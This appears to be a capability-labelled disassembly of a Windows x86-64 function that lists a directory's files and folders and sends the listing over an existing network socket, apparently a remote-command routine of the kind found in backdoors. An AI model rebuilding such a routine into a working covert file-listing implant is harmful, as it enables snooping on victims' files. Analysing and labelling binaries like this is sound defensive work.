Function at 0x1400050f0
Capabilities:
Enumerate files on windows
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x14001c040]
xor rax, rsp
mov qword [rbp + 0x220], rax
mov rsi, rdx
xor r14d, r14d
mov rdx, rcx
lea rcx, [rbp + 0x200]
call fcn.140007f80
nop
lea r8d, [r14 + 2]
lea rdx, [0x1400141c4]
lea rcx, [rbp + 0x200]
call fcn.140007e60
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1b0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea rcx, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 7
cmova rcx, qword [rbp + 0x1a0]
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 7
jbe 0x1400051f1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400051ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400051ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400109f0
movdqa xmm0, xmmword [0x1400155f0]
movdqu xmmword [rbp + 0x1b0], xmm0
mov word [rbp + 0x1a0], r14w
mov rdx, qword [rbp + 0x218]
cmp rdx, 7
jbe 0x140005252
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000524d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000524d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400109f0
movdqa xmm0, xmmword [0x1400155f0]
movdqu xmmword [rbp + 0x210], xmm0
mov word [rbp + 0x200], r14w
xorps xmm0, xmm0
cmp rdi, 0xffffffffffffffff
je 0x140005514
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1d0], r14
mov qword [rbp + 0x1d8], 7
mov word [rbp + 0x1c0], r14w
mov bl, 1
lea r15, [0x1400141d0]
test bl, bl
jne 0x1400052c0
mov r8d, 1
lea rdx, [0x1400141cc]
lea rcx, [rbp + 0x1c0]
call fcn.140007e60
jmp 0x1400052c2
xor bl, bl
test byte [rsp + 0x50], 0x10
lea rdx, str._FILE_
cmovne rdx, r15
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x1400052e0
lea rcx, [rbp + 0x1c0]
call fcn.140007e60
lea rax, [rsp + 0x7c]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140005303
lea rdx, [rsp + 0x7c]
lea rcx, [rbp + 0x1c0]
call fcn.140007e60
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400052a1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp qword [rbp + 0x1d0], 0
jne 0x140005375
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
movdqa xmm1, xmmword [0x140015600]
movdqu xmmword [rbp + 0x1f0], xmm1
mov byte [rbp + 0x1e0], 0
lea rdx, [rbp + 0x1e0]
jmp 0x140005456
lea r8, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 7
cmova r8, qword [rbp + 0x1c0]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, dword [rbp + 0x1d0]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rdx, rbx
lea rcx, [rbp + 0x200]
call fcn.140008110
lea rdx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0xf
cmova rdx, qword [rbp + 0x200]
lea r8, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 7
cmova r8, qword [rbp + 0x1c0]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdx
mov r9d, dword [rbp + 0x1d0]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movups xmm0, xmmword [rbp + 0x200]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rbp + 0x210]
movdqu xmmword [rbp + 0x1f0], xmm1
lea rdx, [rbp + 0x1e0]
movq rcx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0xf
cmova rdx, rcx
xor r9d, r9d
mov r8d, dword [rbp + 0x1f0]
mov rcx, qword [rsi]
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0xf
jbe 0x1400054ad
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400054a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400054a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400109f0
movdqa xmm0, xmmword [0x140015600]
movdqu xmmword [rbp + 0x1f0], xmm0
mov byte [rbp + 0x1e0], 0
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 7
jbe 0x1400055ad
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400055a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400055a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b0], xmm1
mov r8d, 0x21
lea rdx, str.Failed_to_list_directory_contents
lea rcx, [rbp + 0x1a0]
call fcn.1400012b0
lea rdx, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0xf
cmova rdx, qword [rbp + 0x1a0]
xor r9d, r9d
mov r8d, dword [rbp + 0x1b0]
mov rcx, qword [rsi]
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x1400055ad
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400055a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400055a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400109f0
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.1400103e0
mov rbx, qword [rsp + 0x370]
add rsp, 0x330
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret